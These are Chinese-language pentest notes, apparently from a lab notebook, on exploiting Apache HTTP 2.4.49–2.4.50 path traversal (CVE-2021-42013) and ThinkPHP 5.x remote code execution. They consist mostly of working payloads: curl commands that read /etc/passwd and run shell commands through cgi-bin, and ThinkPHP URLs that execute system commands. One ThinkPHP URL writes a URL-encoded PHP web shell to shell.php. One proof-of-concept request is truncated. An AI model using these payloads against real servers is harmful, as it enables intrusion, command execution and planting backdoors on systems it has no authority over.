Apache
Apache HTTP 2.4.50 路径穿越漏洞
- 漏洞编号:CVE-2021-42013
- 影响范围:2.4.49 - 2.4.50
- 漏洞描述:由 CVE-2021-41773 的不完整修复导致的漏洞,攻击者可以使用路径遍历攻击将URL映射到由类似别名指令配置的目录之外的文件
漏洞扫描
使用 nuclei 对目标进行扫描
1 | nuclei -u http://192.168.80.141:8080 |
漏洞验证
方式一 curl
路径穿越访问目录
1 | curl -v --path-as-is http://192.168.80.141:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd |
执行任意命令(需要启用mods cgi或cgid)
1 | curl -v --data "echo;ls -la" 'http://192.168.80.141:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' |
方式二 BP 抓包
ThinkPHP
ThinkPHP 5.0.23 远程代码执行漏洞 RCE
- 影响范围:< 5.0.23
- 漏洞描述:框架在获取请求方法时会错误地对其进行处理,这使攻击者可以调用 Request 类的任何方法,从而通过特定的利用链导致 RCE 漏洞
漏洞验证
ThinkPHP 主页使用 BurpnSuite 抓包,右键 - Change request method 改为 POST 抓包
url 后接入: /index.php?s=captcha
传入参数:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
其中,pwd
为需要执行的命令
- 完整 POC 如下:
1 | POST /index.php?s=captcha HTTP/1.1 |
ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞 RCE
- 影响范围:5.X < 5.1.31, <= 5.0.23
- 漏洞描述:该漏洞是由于 ThinkPHP5 在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有 PHP 函数的控制器方法,并通过 URL 参数的形式访问该方法,从而触发远程代码执行漏洞
漏洞验证
POC 如下:
- 输出 PHP 配置信息
1
http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
- 执行
whoami
1
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
- 写入一句话
1
2http://127.0.0.1:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%0a%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%70%61%73%73%22%5d%29%3b%0a
# 一句话要 url 编码